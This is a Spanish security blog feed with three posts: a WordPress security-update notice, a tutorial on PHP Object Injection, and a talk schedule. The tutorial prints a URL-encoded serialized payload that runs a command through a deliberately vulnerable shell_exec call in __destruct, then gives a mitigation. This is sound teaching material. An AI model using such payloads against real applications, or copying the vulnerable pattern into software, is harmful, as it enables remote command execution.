Desde WordPress se ha publicado una actualización de seguridad 4.0.1 que corrige un total de 23 CVEs de seguridad, es decir, una buena cantidad de ellos, incluido el siguiente que os pongo en este artículo. La actualización es crítica, ya que se puede explotar inyección de comandos remotamente, por lo que que deberías actualizar urgentemente. 

Figura 3: Actualización de seguridad crítica de WordPress 4.1

Si ya tienes instalado Latch en WordPress, nuestro equipo de QA ya comprobó la actualización y el sistema funciona perfectamente, así que cuanto antes migres mejor que mejor.

Figura 4: Confirmación de comprobación de Latch en WordPress 4.0.1


WordPress 3 Persistent Script Injection

El pasado 20 de Noviembre se publicó en la lista Full-Disclosure un bug de inyección de JavaScript en comentarios. Esto no afecta a la vista de administrador - ya que los comentarios son truncados - pero si se aprueban afectan a todos los usuarios. Esto puede utilizarse para ataques de BlackSEO, distribución de malware, etcétera.

Figura 5: Workaround propuesto para solucionar este bug

Afecta a todas las versiones desde WordPress 3.0 a WordPress 3.9.2. La respuesta de WordPress es pásate a la versión 4.0.1, pero si no quieres pasar a la versión 4.x tendrás que aplicar un workaround propuesto por los descubridores del bug.

Preocupación constante por la seguridad

Cada vez son más rápidamente explotados los bugs que se descubren, así que si tienes una superficie de servidores con cualquier framework expuestos a Internet, debes estar muy atento a todas las actualizaciones de seguridad que salen, pero debes tomártelo muy en serio.

El tiempo para "yo me ocupo de la seguridad una vez al mes" hace tiempo que pasó, así que fortifica desde la instalación, y asegúrate de que diariamente estás vigilando qué sucede. Tienes asumir que siempre habrá cosas de las que no te enterarás y es mejor poner todas las medidas de mitigación posibles, como cambio de contraseñas periódicas, autenticación de segundo factor, backups, revisión de seguridad periódica - o continua -, etcétera, etcétera.

Saludos Malignos!

Ataques de PHP Object Injection en aplicaciones web

$
0
0
Cuando se hace una auditoría de seguridad a una aplicación web construida en tecnologías PHP, uno de los tipos de ataques que se pueden realizar son los de PHP Object Injection. Este fallo se da solo en aplicaciones PHP desarrolladas bajo paradigmas de Programación Orientada a Objetos (POO) y se tienen que dar algunas circunstancias muy concretas para que se pueda dar la vulnerabilidad, pero si esto es así, se pueden hacer muchas cosas, como vamos a ver.

Figura 1: Ataques de PHP Object Injection en aplicaciones web

Para que se pueda dar la vulnerabilidad, la aplicación web - como ya se ha dicho -, debe estar construida bajo el paradigma de POO. Eso hace que la aplicación tenga definida una estructura de clases para representar todos los objetos de la aplicación, algo que ayuda a la programación de frameworks complejos y a la sostenibilidad del código a largo plazo.

Normalmente, los frameworks de Internet cumplen esta característica. Casi todos los CMS que dan soporte a aplicaciones webs, o los e-commerce, o plataformas de administración de sistemas mediante tecnologías web tienen su propia jerarquía de clases para instanciar los objetos necesarios en cada parte de la aplicación.

Magic Methods en aplicaciones PHP con POO

Cuando se definen las propiedades y funciones de una clase, existen lo que se denominan Magic Methods, que no son más que una serie de funciones que se ejecutan no por invocación explícita, sino de forma implícita cuando se da una serie de condicionantes. Por ejemplo, cuando un objeto es creado, eliminado o utilizado con una conversión de tipo de datos implícito, se producen llamadas automáticas a los Magic Methods.

En PHP hay una buena cantidad de estos que son llamados de forma automática y que el programador puede implementar para gestionar las acciones oportunas. A continuación se muestra la lista de los “Magic Methods” y sus condiciones de ejecución.
  • __construct() Las clases que tengan este método se invocarán en cada nuevo objeto creado.
  • __destruct() Será llamado cuando se liberen todas las referencias o cuando el script finalice.
  • __call() Es lanzado al invocar un método inaccesible en un contexto de objeto.
  • __callStatic() Es lanzado al invocar un método inaccesible en un contexto estático.
  • __get() Se utiliza para consultar datos a partir de propiedades inaccesibles.
  • __set() Se ejecuta al escribir datos sobre propiedades inaccesibles.
  • __isset() Se lanza al llamar a isset() o a empty() sobre propiedades inaccesibles.
  • __unset() Se invoca cuando se usa unset() sobre propiedades inaccesibles.
  • __sleep() Se ejecuta antes de cualquier serialización. Es el método serialize() el que comprueba si en la clase existe este método.
  • __wakeup() Puede reconstruir cualquier recurso que el objeto pueda tener. Es el método unserialize() el que comprueba si en la clase existe este método.
  • __toString() Permite a una clase decidir cómo comportarse cuando se la trata como a un string
  • __invoke() Es llamado cuando un script intenta llamar a un objeto como si fuera una función.
  • __set_state() Se llama en respuesta a una instancia de su objeto que se pasa a la función var_export.
  • __clone() Si se clona un objeto y este ha finalizado de clonarse, se llamará al método __clone() del nuevo objeto (si el método __clone() estuviera definido)
  • __debugInfo() Este método es invocado por var_dump() al volcar un objeto para obtener las propiedades que deberían mostrarse.
Por supuesto, estos métodos por sí mismos no suponen una vulnerabilidad en sí mismos, pero un atacante podrá forzar su llamada generando las circunstancias adecuadas para lograr que, implicitamente, sea invocado. Es decir, un atacante podría lograr aprovecharse del código que hay allí escrito - y de las vulnerabilidades que allí haya - generando los condicionantes adecuados para se ejecute y así tomar el control.

Para ello debe existir en la implementación que haya hecho el programador de uno de esos Magic Methods alguna función susceptible de ser explotada, como un eval, include, shell_exec, mysqli_query, etcétera, que utilice algún parámetro manipulable por el atacante. Es decir, el atacante podrán el valor adecuado en el parámetro que utiliza la función insegura dentro del Magic Method, y luego generará los condicionantes adecuados para que se ejecute ese método. Veamos cómo.

Serialización de Objetos

Antes de continuar es importante entender en qué consiste el concepto de ”Serializar un objeto”. La serialización nace de la necesidad que tienen muchos sistemas de descargar un objeto que se encuentra en memoria para poder ser transmitido entre distintos sistemas. Es decir, para que pueda ser almacenado en disco y/o enviado por red usando una estructura entendible por el destinatario para que pueda re-armar el objeto en memoria, es decir, para que puede "Deserializar el objeto".

Uno de los formatos más utilizados para este fin - aunque no el único - son los ficheros JSON, y en PHP se utiliza la función unserialized para manipular los ficheros JSON con el fin de recrear en memoria dicho objeto. Por ello, cuando una aplicación web recibe un fichero JSON con datos relativos a un objeto definido en su estructura de clases, llama a la función unserialized, que en nuestro caso será la puerta de entrada para forzar la ejecución del Magic Method, inyectando, como veremos, un objeto en PHP malicioso.

Un programador que recibe un JSON con información relativa a un objeto, debe sanitizar correctamente los datos antes de construir el objeto, ya que si no, estaría permitiendo la ejecución automática de los Magic Methods sin haber tomado ninguna precaución. Esto no es siempre así, y por lo general, los desarrolladores no tienden a validar las propiedades de las clases en las que no se establece un valor a través de una entrada de datos de un usuario. Es decir, valores que supuestamente ningún usuario debería haber podido manipular con el interfaz. Grave error.

Un ataque de PHP Object Injection

Como ya hemos dicho, visto todo lo anterior, un atacante podría enviar un objeto malicioso serializado en formato JSON a una aplicación web en PHP escrita bajo el paradigma de POO y en la que la clase del objeto que se envía tiene un Magic Method implementado con una función PHP insegura para la construcción o destrucción del objeto. Si la aplicación web hace uso de la  función unserialized sin sanitizar previamente los valores del objeto que viene por JSON antes de construir  o destruir el objeto, el atacante habrá podido inyectar código en el sistema para, por ejemplo, hacer un ataque de Remote Command Injection, RFI, etcétera..

En el siguiente ejemplo se puede ver una clase que tiene implementado el Magic Method para la destrucción del objeto. En la implementación se hace uso de la función de shell_exec() tomando como parámetros una de las propiedades del objeto.

Figura 2: Clase de ejemplo en PHP vulnerable a PHP Object Injection

La clase se llama “Example1”, implementa el Magic Method__destruct() y dentro del mismo se encuentra la función “shell_exec”, a la que se le pasa como parámetro la propiedad data del objeto invocado. Este código de ejemplo permite, a través de la inyección de un objeto PHP, ejecutar un comando en el sistema operativo. Esto es posible no por la inyección del objeto en sí, si no por no controlar el parámetro que se le está pasando a la función shell_exec.

Preparando el payload

Para explotar esta vulnerabilidad de forma sencilla lo primero que hay que hacer es preparar el payload. Para ello se ha de crear un objeto con la propiedad data maliciosa, es decir, con el comando que queremos inyectar dentro de shell_exec.

Figura 3: Objeto PHP malicioso para construir el Payload

A continuación se debe realizar un codificado de tipo URL del objeto PHP malicioso que se desea inyectar, por lo que tras este procesado ya se habrá generado el payload que se necesita para tomar control de esta aplicación web y será posible enviarlo a través de un parámetro una petición HTTP. En nuestro ejemplo, éste es el payload obtenido
O%3A8%3A%22Example1%22%3A1%3A%7Bs%3A4%3A%22data%22%3Bs%3A20%3A%22ipconfig+%7C+find+%22v4%22%22%3B%7D
Una vez inyectado el objeto PHP serializado en la aplicación vulnerable, el resultado devuelto es la salida del comando ejecutado en el sistema, en este caso las direcciones IP privadas del sistema.

Figura 4: Ejecución del comando a través del método __destruct()

Además, en nuestro ejemplo no solo se llamó al Magic Method__destruct, sino que también se invocaron los métodos __wakeup y __toString de forma automática, ya que el motor va utilizando de forma implícita a los métodos cuando los va necesitando.

Conclusión final de este ejemplo

Esta vulnerabilidad, a pesar de necesitar de una buena serie de condicionantes, ya se ha dado en muchos CMS y frameworks de Internet. A continuación tenéis una pequeña lista de vulnerabilidades de PHP Object Injection publicadas debido al mal uso de la función unserialized.
- Vanilla Forums 2.0 - 2.0.18.5 - PHP Object Injection Vulnerability
- Joomla! <= 3.0.3 - PHP Object Injection Vulnerability
- Joomla! <= 3.0.2 PHP Object Injection Vulnerability
- CubeCart 5.2.0 PHP Object Injection Vulnerability
- Invision Power Board <= 3.3.4 PHP Code Execution
- Tiki Wiki CMS Groupware <= 8.3 PHP Code Execution
- SugarCRM CE <= 6.3.1  PHP Code Execution
Para mitigar estos ataques es mejor no utilizar la función unserialized que construye directamente el objeto, y utilizar en su lugar la función PHPjson_decode, con la que se consigue validar cada dato que se recibe para evitar la inyección de propiedades maliciosas que puedan acabar inyectadas en funciones inseguras.

Autor: Ricardo Martín (@ricardo090489)
Security QA Engineer en Eleven Paths

Mis próximas charlas de aquí a fin de año

$
0
0
Esta semana que se avecina da comienzo ya el último mes del año 2014, al que una vez más y contra todo pronóstico sobrevivimos. Yo ya tengo el calendario de mis charlas totalmente cerrado y no creo que entre nada más por aquello de los problemas espacio-temporales. Por si te va bien y te apetece, esta es la lista de todos los eventos públicos en los que voy a estar este mes de Diciembre.

Figura 1: Orejas arriba si vas a venir a aluna de las charlas en diciembre

2 de Diciembre: La Mañana con Javi Nieves ... y con Fermín J. Serna

Este martes, a las 10:00 de la mañana, aprovechando que Fermín J. Serna (zhodiac) anda por España para estar en el CyberCamp y pasar unos días en su querida España, me lo llevo a la radio, que el equipo quiere charlar unos minutos con él.

Figura 2: Fermín J. Serna presentando en Black Hat USA 2012


4 de Diciembre: Escuela Politécnica Superior de la Universidad de Lleida

El próximo jueves, de camino a Barcelona, haré una parada en la Universidad de Lleida para dar una charla de una hora. Será e en el Auditorio del Centro de Culturas y Cooperación Transfronteriza del Campus de Cappont, sito en la Calle Jaume II número 67.

Figura 3: Conferencia en la EPS de Lleida

La charla es para los estudiantes de la Universidad, pero creo que está abierta a todo el público. Será a partir de les 12:00 y durará hasta las 13:00 horas. Tienes más información en este artículo que ha publicado la Escuela.

4 de Diciembre: 5 Talks

El mismo día, pero por la tarde, estaré en 5Talks, que tendrá lugar a las 19:30, en Barcelona, en el Mobile World Centre. Allí estará Elsa Punset, mi compañera en Telefónica I+DNuria Oliver, Arancha Ruiz y Christian Rodríguez.Puedes conseguir tu entrada aquí.

Figura 4: 5Talks.org en Barcelona

Para interesados que no pueden asistir en directo, las charlas también serán retransmitidas por live stream.

5 de Diciembre: CyberCamp 2014

Al final, debido a incidencias de última hora, me va a tocar estar el Viernes por la tarde en la presentación del CyberCamp. Estaré en las charlas de las keynotes, y mis compañeros estarán en los talleres de Latch y dando alguna que otra charla.


Figura 5: Cálico Electrónico y su preocupación por el CyberCamp

Recuerda que el CyberCamp es gratuito, pero las plazas para las actividades son limitadas, así que apúntate cuanto antes si quieres venir a alguna de las cosas que tenemos preparadas.

10 de Diciembre: Sinfonier MeetUp

Los chicos del equipo de Sinfonier, además de tener también un taller en el CyberCamp al que te puedes apuntar, han preparado un encuentro para que la gente conozca las capacidades de este proyecto.

Figura 6: Sinfonier MeetUP en Madrid

Así que me han liado a mí para que lo use junto con nuestro proyecto de investigar en busca de ciber-malos Path 5 y el día 10 de diciembre en Madrid estaré en el Sinfonier MeetUp. Regístrate si quieres asistir, que el número de plazas es muy limitado. Estate atento al blog de Sinfonier para próximos anuncios.

Y esto es todo. El resto de los martes del mes estaré en la radio, como sucede desde hace tres años, y espero que todos los días escribiendo en El lado del mal

Saludos Malignos!
Viewing all 4225 articles
Browse latest View live